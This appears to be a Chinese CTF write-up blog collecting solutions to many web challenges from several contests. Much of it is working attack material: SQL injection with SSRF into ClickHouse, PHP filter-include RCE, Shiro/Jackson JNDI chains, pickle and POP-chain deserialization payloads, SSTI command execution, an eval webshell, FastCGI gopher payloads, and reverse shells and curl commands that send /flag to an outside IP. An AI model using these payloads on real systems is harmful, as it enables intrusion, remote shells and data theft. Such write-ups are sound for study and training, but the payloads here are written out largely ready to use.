bytectf web double sqli 访问,首先后面的参数id就很可疑,尝试mysql注入,单引号闭合,发现回显有点奇怪,尝试万能密码,发现回显是concat(1,1)=1
,再直接输入?id=1|1--+
,这时我仍以为是mysql注入,这个concat就是个连接,那么直接在||
之后注入就行,然后查询?id=1||(select database())
,得到一个default,但再用mysql注入就不行了 遇到无回显的时候直接出了一个something in files
,点开,发现是个图,直接访问/files/
,发现存在目录穿越,直接访问/files../
,app目录下找到源码,东翻西找发现是个clickhouse的sql注入,查询资料,直接注入,查到ctf库,在查到一个hint表,查看ctf.hint,(select *from ctf.hint)
,发现内容是,我这个菜逼没权限,于是再看看源码,使用的账号是user_02,那肯定有01,那么就找,搜到/var/lib/clickhouse/access 存放的是线上所有用户的授权的sql
,真找到了,但看了很久文档都没看到可以用的语句,之后找到一篇文章ClickHouse数据库 8123端口的未授权访问 ,但打开自己的服务器尝试curl似乎连不上,再往后看,发现一个url函数,回头看看文档,直接进行ssrf,(select * from url('http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=(select%2520*from%2520ctf.flag)',CSV,'columns String'))
拟态 zerocalc 题目描述:计算器出现的第零天,爱他
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 readFile ('./src/index.js' ) = const express = require ("express" );const path = require ("path" );const fs = require ("fs" );const notevil = require ("./notevil" ); const crypto = require ("crypto" );const cookieSession = require ("cookie-session" );const app = express ();app.use (express.urlencoded ({ extended : true })); app.use (express.json ()); app.use (cookieSession ({ name : 'session' , keys : [Math .random ().toString (16 )], })); const utils = { async md5 (s ) { return new Promise ((resolve, reject ) => { resolve (crypto.createHash ("md5" ).update (s).digest ("hex" )); }); }, async readFile (n ) { return new Promise ((resolve, reject ) => { fs.readFile (n, (err, data ) => { if (err) { reject (err); } else { resolve (data); } }); }); }, } const template = fs.readFileSync ("./static/index.html" ).toString ();function render (s ) { return template.replace ("{{res}}" , s.join ('<br>' )); } app.use ("/" , async (req, res) => { const e = req.body .e ; const his = req.session .his || []; if (e) { try { const ret = (await notevil (e, utils)).toString (); his.unshift (`${e} = ${ret} ` ); if (his.length > 10 ) { his.pop (); } } catch (error) { console .log (error); his.add (`${e} = wrong?` ); } req.session .his = his; } res.send (render (his)); }); app.use ((err, res ) => { console .log (err); res.redirect ('/' ); }); app.listen (process.env .PORT || 8888 );
本以为是一个notevil(e, utils)
漏洞,但这里已经被修复了,尝试readFile(‘/flag’)
esayfilter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ini_set ("open_basedir" ,"./" );if (!isset ($_GET ['action' ])){ highlight_file (__FILE__ ); die (); } if ($_GET ['action' ] == 'w' ){ @mkdir ("./files/" ); $content = $_GET ['c' ]; $file = bin2hex (random_bytes (5 )); file_put_contents ("./files/" .$file ,base64_encode ($content )); echo "./files/" .$file ; }elseif ($_GET ['action' ] == 'r' ){ $r = $_GET ['r' ]; $file = "./files/" .$r ; include ("php://filter/resource=$file " ); }
写马传:
得到
./files/22698814ea
http://124.70.181.14:32767/?action=r&r=convert.base64-decode/resource@/../../../files/22698814ea&1=system(%27cat%20/flag%27);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 Warning: include(): unable to locate filter "resource=." in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (resource=.) in /var/www/html/index.php on line 16 Warning: include(): unable to locate filter "files" in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (files) in /var/www/html/index.php on line 16 Warning: include(): unable to locate filter "resource@" in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (resource@) in /var/www/html/index.php on line 16 Warning: include(): unable to locate filter ".." in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (..) in /var/www/html/index.php on line 16 Warning: include(): unable to locate filter ".." in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (..) in /var/www/html/index.php on line 16 Warning: include(): unable to locate filter ".." in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (..) in /var/www/html/index.php on line 16 Warning: include(): unable to locate filter "files" in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (files) in /var/www/html/index.php on line 16 Warning: include(): unable to locate filter "22698814ea" in /var/www/html/index.php on line 16 Warning: include(): Unable to create filter (22698814ea) in /var/www/html/index.php on line 16 flag{Cuw5RV9SvBUJR1ACBgLBm83p2VZe7lRG}
以上是Du1L0ve师傅比赛时打出来payload
经过师傅的赛后分析讲解,已经大致搞明白这个的原理,payload可以简言之可以精简为以下:
?action=r&r=convert.base64-decode/../22698814ea&1=system(%27cat%20/flag%27);
简单来说,resource参数将值作为一个文件去检测是否文件存在
经过目录穿越反复横跳检测该文件为存在
接着filter将之后的所有内容,也就是:
1 resource=./files/convert.base64-decode/../22698814ea
以斜杠为分隔,尝试建立过滤器,convert.base64-decode
过滤器创建成功,将读取出的信息进行了base64解码
最终得到的马被文件包含,成功rce
Jack-Shiro 原题
扫,得到/json
然后抓包,发现重定向到/login
回显 :登录失败
以及响应头:rememberMe=deleteMe
使用CVE-2020-1957绕过:
GET :/;/json
POST:true
返回:jackson interface
jackson反序列化 + JNDI注入 + LDAP返回序列化数据触发本地Gadget Bypass jdk 8u_191限制
使用工具ysomap
工具需要jdk8
环境运行,并且安装配置maven
,安装过程写在文章服务器相关
里了,服务器开两个端口,xshell打开两个窗口,拿一个端口作为跳板进行接收,另一个端口弹shell
8084端口
1 2 3 4 5 6 7 8 9 10 11 cli/target>java -jar ysomap.jar cli use exploit LDAPLocalChainListener set lport 8084use payload CommonsCollections8 use bullet TransformerBullet set version 3args 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDcuNTYuMjQ0LzgwODUgMD4mMQ==}|{base64,-d}|{bash,-i}' run
8085端口
发包 GET:/;/json
POST:["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://ip:PORT/Calc"}]
弹shell成功,执行:
终于自己复现成功了,happy,不过知识点还需要看看
Give_me_your_0day 打开页面,点击开始,抓包,传入了一些输入的参数
查看源码:在install.php中,输入的内容是进行数据库连接验证
远程连接数据库,可以使用工具roguemysql,搭建一个伪造的数据库,当靶机连接上这个伪造的服务器时,即可进行任意文件读取
直接使用工具给出的php文件,stream_socket_server函数里的参数的端口修改成一个已经开启的闲置端口,然后在服务器上执行该文件
另一边对抓包内容修改,数据库适配器出输入的值修改成Mysqli,ip填的服务器地址47.107.56.244,端口填之前改的那个
发包,这边测试一下index.php,读取成功,读取根目录下flag
newhospital 祖传f12,发现源码中有index.php?id=
尝试随意输入没有反应,挨个尝试,发现在feature.php
发现报错
1 2 knowledge Warning: file_get_contents (2 .js): failed to open stream: No such file or directory in /var /www/html/feature.php on line 468
那么源码部分应该是
1 file_get_contents ($_GET ['id' ]'.js' )
%00截断失败,应该是高于5.4版本
扫靶机,得到/old/
文件夹,再扫/old/
文件夹,发现下面结构和工作目录下一样,于是访问/old/feature
,发现无论如何报错都是2.js,最后抓包发现cookie处有一个参数:API
,值是base64编码,解码之后就是2.js
,尝试修改,确实就是这里进行命令执行,直接包含工作目录下的flag.php
,因为是在old目录下,所以需要目录穿越一下就行了
ezpickle 用柠檬师傅的curl带出flag的方法成功了,高高兴兴去尝试三月七师傅的弹shell,为什么弹不出啊!为什么直接用他的脚本改成我的服务器ip就会报错啊!我仍未知道那天弹不了shell的原因……
总之成功了一个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from flask import Flask, request, session, render_template_string, url_for,redirectimport pickleimport ioimport sysimport base64import randomimport subprocessfrom config import notadminapp = Flask(__name__) class RestrictedUnpickler (pickle.Unpickler): def find_class (self, module, name ): if module in ['config' ] and "__" not in name: return getattr (sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/' ) def index (): info = request.args.get('name' , '' ) if info is not '' : x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('Hello' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=True , port=5000 )
1 2 3 4 5 6 7 notadmin={"admin" :"no" } def backdoor (cmd ): if notadmin["admin" ]=="yes" : s='' .join(cmd) eval (s)
处理的是参数name的值,先将传入值base64解码,然后用load方法将对象反序列化
Pickle反序列化源码分析与漏洞利用
由于反序列化过程是完全可控的,因此利用这一漏洞进行绕过config.py
中的 notadmin["admin"]=="yes"
1 2 3 4 5 cconfig notadmin S"admin" S"yes" s0
先使用c操作码引入全局变量:config模块里面的notadmin
,然后使用s操作码进行覆盖
1 2 3 4 5 6 7 8 cconfig notadmin S"admin" S"yes" s0(S"__import__('os').system('curl http://ip:8085/?flagIs-$(cat /flag | base64)')" iconfig backdoor .
经过base64编码再传入
服务器监听8085端口
发包,即可进行命令执行并将执行命令的结果通过curl传到自己监听的端口
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import base64import requestsimport iodata = b"""cconfig notadmin S"admin" S"yes" s0(S"__import__('os').system('curl http://47.107.56.244:8085/?flagIs-$(cat /flag | base64)')" iconfig backdoor . """ payload = '?name=' + base64.b64encode(data).decode() url = 'http://124.71.183.254:32770/' requests.get(url=url+payload)
魔法世界 misc WELCOME DASCTFxJlenu nc node4.buuoj.cn 25924
本以为就是签到题(也确实是),结果试了几分钟,输入个str时输出个
感觉到这是python脚本,直接用模板注入的方法进行文件查看,接着使用一个存在引入os模块的方法进行命令执行
1 2 3 4 5 6 7 8 9 10 11 [].__class__.__mro__[1 ].__subclasses__()[40 ]('talk.py' ).read() [].__class__.__mro__[1 ].__subclasses__()[71 ].__init__.__globals__['os' ].system('ls' ) flag.txt [].__class__.__mro__[1 ].__subclasses__()[71 ].__init__.__globals__['os' ].system('cat flag.txt' )
迷路的魔法少女 本地试了下,发现可以直接拼接执行
GET :?attrid[0]=a&attrvalue[0]=")-phpinfo()-("
发现什么过滤都没有
GET :?attrid[0]=a&attrvalue[0]=")-system('ls')-("
无
GET :?attrid[0]=a&attrvalue[0]=")-system('ls /')-("
发现flag.sh
GET :?attrid[0]=a&attrvalue[0]=")-system('cat /flag.sh')-("
1 2 3 4 5 #!/usr/bin/env bash TZ="Tokyo $FLAG " echo "Tokyo $FLAG " > /etc/timezone export FLAG=not_here FLAG=not_here
找到flag的位置
GET :?attrid[0]=a&attrvalue[0]=")-system('cat /etc/timezone')-("
geek2021 babysql 直接联合查询注入,一共查询了四个字段,显示第一第二个字段,查到库flag,表fllag,列名fllllllag
最后直接:
uname=admin&pwd=1’union%20select%201,(select%20group_concat(fllllllag)from%20flag.fllag),3,4#&wp-submit=functio
babyPOP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class a { public static $Do_u_like_JiaRan = false ; public static $Do_u_like_AFKL = false ; } class b { private $i_want_2_listen_2_MaoZhongDu ; public function __toString ( ) { if (a::$Do_u_like_AFKL ) { return exec ($this ->i_want_2_listen_2_MaoZhongDu); } else { throw new Error ("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!" ); } } } class c { public function __wakeup ( ) { a::$Do_u_like_JiaRan = true ; } } class d { public function __invoke ( ) { a::$Do_u_like_AFKL = true ; return "关注嘉然," . $this ->value; } } class e { public function __destruct ( ) { if (a::$Do_u_like_JiaRan ) { ($this ->afkl)(); } else { throw new Error ("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!" ); } } } if (isset ($_GET ['data' ])) { unserialize (base64_decode ($_GET ['data' ])); } else { highlight_file (__FILE__ ); }
简单反序列化,直接找利用链然后造poc:
直接从类c开始,使得静态变量为true,然后在c里面创建一个e类对象进入类e,通过判断,调用afkl方法,将afkl赋值为新建的d类对象,触发魔术方法__invoke,这里第二个静态变量赋值为true,并且将返回字符串value,将value赋值为新建b类对象,触发魔术方法__toString,通过判断,执行exec函数,参数可控,执行任意命令,无回显,直接curl或者弹shell都行,我是直接curl将文件内容通过base64带出,服务器nc监听,最终得到flag
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class a { public static $Do_u_like_JiaRan = false ; public static $Do_u_like_AFKL = false ; } class b { private $i_want_2_listen_2_MaoZhongDu ; public function __construct ( ) { $this ->i_want_2_listen_2_MaoZhongDu = 'curl http://服务器ip:端口/?flagIs-$(cat /flag | base64)' ; } } class c { public $muhua ; public function __wakeup ( ) { a::$Do_u_like_JiaRan = true ; } } class d { public $value ; public function __construct ( ) { $this ->value=new b; } } class e { public $afkl ; public function __construct ( ) { $this ->afkl=new d; } } $muhua = new c;$muhua ->muhua = new e;$out = serialize ($muhua );var_dump ($out );$out = base64_encode ($out );var_dump ($out );
where_is_my_FUMO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function chijou_kega_no_junnka ($str ) { $black_list = [">" , ";" , "|" , "{" , "}" , "/" , " " ]; return str_replace ($black_list , "" , $str ); } if (isset ($_GET ['DATA' ])) { $data = $_GET ['DATA' ]; $addr = chijou_kega_no_junnka ($data ['ADDR' ]); $port = chijou_kega_no_junnka ($data ['PORT' ]); exec ("bash -c \"bash -i < /dev/tcp/$addr /$port \"" ); } else { highlight_file (__FILE__ ); }
直接可以弹shell,可以通过
?DATA[ADDR]=服务器ip&DATA[PORT]=端口1
但它只能让我执行,看不到回显,不过够了
bash -i >& /dev/tcp/服务器ip/端口2 0>&1
于是在第二个端口进行访问,图片超级大,一个屏幕装不下,但有curl,于是直接传:然后是需要的知识
-F参数用来向服务器上传二进制文件。
$ curl -F ‘file=@photo.png’ https://google.com/profile 上面命令会给 HTTP 请求加上标头Content-Type: multipart/form-data,然后将文件photo.png作为file字段上传。
-F参数可以指定 MIME 类型。
$ curl -F ‘file=@photo.png;type=image/png’ https://google.com/profile 上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为application/octet-stream。
-F参数也可以指定文件名。
1 2 $ curl -F 'file=@photo.png;filename=me.png' https://google.com/profile 上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。
开第三个端口进行监听:
nc -lvvp 端口3 >flag.txt
端口2执行:
curl -F ‘file=@flag.png’ http://47.107.56.244:8086
默默等待,然后传输完成,将文件传到本地,010打开,将png图片头格式之前的东西都删掉,改后缀为png,打开图片即显示flag
如果不会crul,或许你需要一点小小的帮助:点击进入curl指令学习
babypy 模板注入:
1 2 3 4 5 6 7 [].__class__.__mro__[1].__subclasses__() 直接查询到第213个是Popen函数,命令执行: {{[].__class__.__mro__[1].__subclasses__()[213]('ls',shell=True,stdout=-1).communicate()[0]}} 直接读取文件 {{[].__class__.__mro__[1].__subclasses__()[213]('cat flag',shell=True,stdout=-1).communicate()[0]}}
Baby_PHP_Black_Magic_Enlightenment 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php echo "PHP is the best Language <br/>" ;echo "Have you ever heard about PHP Black Magic<br/>" ;error_reporting (0 );$temp = $_GET ['password' ];is_numeric ($temp )?die ("no way" ):NULL ; if ($temp >9999 ){ echo file_get_contents ('./2.php' ); echo "How's that possible" ; } highlight_file (__FILE__ );?>
弱类型比较直接绕:
?password=1e9a
查看页面源码,php文件读取php文件常常是以页面源码形式出现
baby_magic.php 访问:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );$flag =getenv ('flag' );if (isset ($_GET ['user' ]) and isset ($_GET ['pass' ])) { if ($_GET ['user' ] == $_GET ['pass' ]) echo 'no no no no way for you to do so.' ; else if (sha1 ($_GET ['user' ]) === sha1 ($_GET ['pass' ])) die ('G1ve u the flag' .$flag ); else echo 'not right' ; } else echo 'Just g1ve it a try.' ; highlight_file (__FILE__ );?>
数组绕过
?user[0]=a&pass[0]=1
得到
baby_revenge.php 访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting (0 );$flag =getenv ('fllag' );if (isset ($_GET ['user' ]) and isset ($_GET ['pass' ])) { if ($_GET ['user' ] == $_GET ['pass' ]) echo 'no no no no way for you to do so.' ; else if (is_array ($_GET ['user' ]) || is_array ($_GET ['pass' ])) die ('There is no way you can sneak me, young man!' ); else if (sha1 ($_GET ['user' ]) === sha1 ($_GET ['pass' ])){ echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>" ; die ('Genji:We will see again Hanzo' .$flag .'<br/>' ); } else echo 'Wrong!' ; }else echo 'Just G1ve it a try.' ; highlight_file (__FILE__ );?>
找到文章,链接
1 %25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
和
1 %25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
1 ?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
here_s_the_flag.php
访问:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $flag =getenv ('flllllllllag' );if (strstr ("Longlone" ,$_GET ['id' ])) { echo ("no no no!<br>" ); exit (); } $_GET ['id' ] = urldecode ($_GET ['id' ]);if ($_GET ['id' ] === "Longlone" ){ echo "flag: $flag " ; } highlight_file (__FILE__ );?>
直接给我二次编码绕过了
?id=%254conglone
flag{PHP_1s_fu1king_awesome}
蜜雪冰城甜蜜蜜 前端加密然后传数据给sign.php再返回给主页,具体代码再最后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 function makeSign (params, secret ){ var ksort = Object .keys (params).sort (); var str = '' ; for (var ki in ksort){ str += ksort[ki] + '=' + params[ksort[ki]] + '&' ; } str += 'secret=' + secret; var token = hex_md5 (str).toUpperCase (); return rsa_sign (token); } function rsa_sign (token ){ var pubkey='-----BEGIN PUBLIC KEY-----' ; pubkey+='MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL' ; pubkey+='nRg3e2QdDf/m/qMvtqXi4xhwvbpHfaX46CzQznU8l9NJtF28pTSZSKnE/791MJfV' ; pubkey+='nucVcJcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sxjMn' ; pubkey+='lVjDaIczKTRx+7vn2wIDAQAB' ; pubkey+='-----END PUBLIC KEY-----' ; var encrypt = new JSEncrypt (); encrypt.setPublicKey (pubkey); return encrypt.encrypt (token); } function get_time ( ){ var d = new Date (); var time = d.getTime ()/1000 ; return parseInt (time); } var secret = 'e10adc3949ba59abbe56e057f20f883e' ;$("[href='#']" ).click (function ( ){ var params = {}; console .log (123 ); params.id = $(this ).attr ("id" ); params.timestamp = get_time (); params.fake_flag = 'SYC{lingze_find_a_girlfriend}' ; params.sign = makeSign (params, secret); $.ajax ({ url : "http://106.55.154.252:8083/sign.php" , data : params, type :'post' , success :function (msg ){ $('#text' ).html (msg); alert (msg); }, async :false }); })
三个数据都需要对上,但既然是通过js加密,所以直接修改前端页面数据并提交执行即可
f12修改页面源码,随便一个可以提交的标签都可以,直接添加或修改,然后点击提交即可获取
陇原战疫 eaaasyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php class Check { public static $str1 = false ; public static $str2 = false ; } class Esle { public function __wakeup ( ) { Check ::$str1 = true ; } } class Hint { public function __wakeup ( ) { $this ->hint = "no hint" ; } public function __destruct ( ) { if (!$this ->hint){ $this ->hint = "phpinfo" ; ($this ->hint)(); } } } class Bunny { public function __toString ( ) { if (Check ::$str2 ) { if (!$this ->data){ $this ->data = $_REQUEST ['data' ]; } file_put_contents ($this ->filename, $this ->data); } else { throw new Error ("Error" ); } } } class Welcome { public function __invoke ( ) { Check ::$str2 = true ; return "Welcome" . $this ->username; } } class Bypass { public function __destruct ( ) { if (Check ::$str1 ) { ($this ->str4)(); } else { throw new Error ("Error" ); } } } if (isset ($_GET ['code' ])) { unserialize ($_GET ['code' ]); } else { highlight_file (__FILE__ ); }
造个poc
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php class Check { public static $str1 = false ; public static $str2 = false ; } class Esle { public $muhua ; public function __construct ( ) { $this ->muhua = new Bypass (); } } class Hint { public $hint ; public function __construct ( ) { $this ->hint = "" ; } } class Bunny { public $filename ; public $data ; public function __construct ( ) { $this ->filename = "muhua.php" ; $this ->data = "<?php @eval(\$_REQUEST['1']);" ; } } class Welcome { public $username ; public function __construct ( ) { $this ->username = new Bunny (); } } class Bypass { public $str4 ; public function __construct ( ) { $this ->str4 = new Welcome (); } } $a = new Esle ();var_dump (serialize ($a ));echo "<br>" ;var_dump (urlencode (serialize ($a )));
不知道为什么打不通,明明本地都行,也不知道他版本是多少
/var/www/html/index.php
bash -c “bash -i >& /dev/tcp/ip/8084 0>&1”
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.107.56.244/8085%200%3E%261%22%27%29%3Bdie%28%27—–Made-by-SpyD3r—–%0A%27%29%3B%3F%3E%00%00%00%00
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 8084 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close()
curl http://47.107.56.244:8085/?flagIs-$ (cat /flag | base64)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import socketfrom urllib.parse import unquotepayload = unquote("%01%01%1EJ%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1EJ%02%16%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH63%098PHP_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%0F8PHP_ADMIN_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%01%04%1EJ%00%00%00%00%01%05%1EJ%00%3F%00%00%3C%3Fphp%20system%28%27curl%20http%3A//47.107.56.244%3A8085/%20-F%20file%3D%40/flag%27%29%3B%3F%3E%01%05%1EJ%00%00%00%00" ) payload = payload.encode('utf-8' ) host = '0.0.0.0' port = 23 sk = socket.socket() sk.bind((host, port)) sk.listen(5 ) sk2 = socket.socket() sk2.bind((host, 39021 )) sk2.listen() count = 1 while 1 : conn, address = sk.accept() conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"220 ready\n" ) else : conn.send(b"200 ready\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"215 \n" ) else : conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"213 3 \n" ) else : conn.send(b"300 \n" ) print (conn.recv(20 )) conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"227 47,107,56,244,152,109\n" ) else : conn.send(b"227 127,0,0,1,35,40\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"125 \n" ) print ("buildconnect!" ) conn2, address2 = sk2.accept() conn2.send(payload) 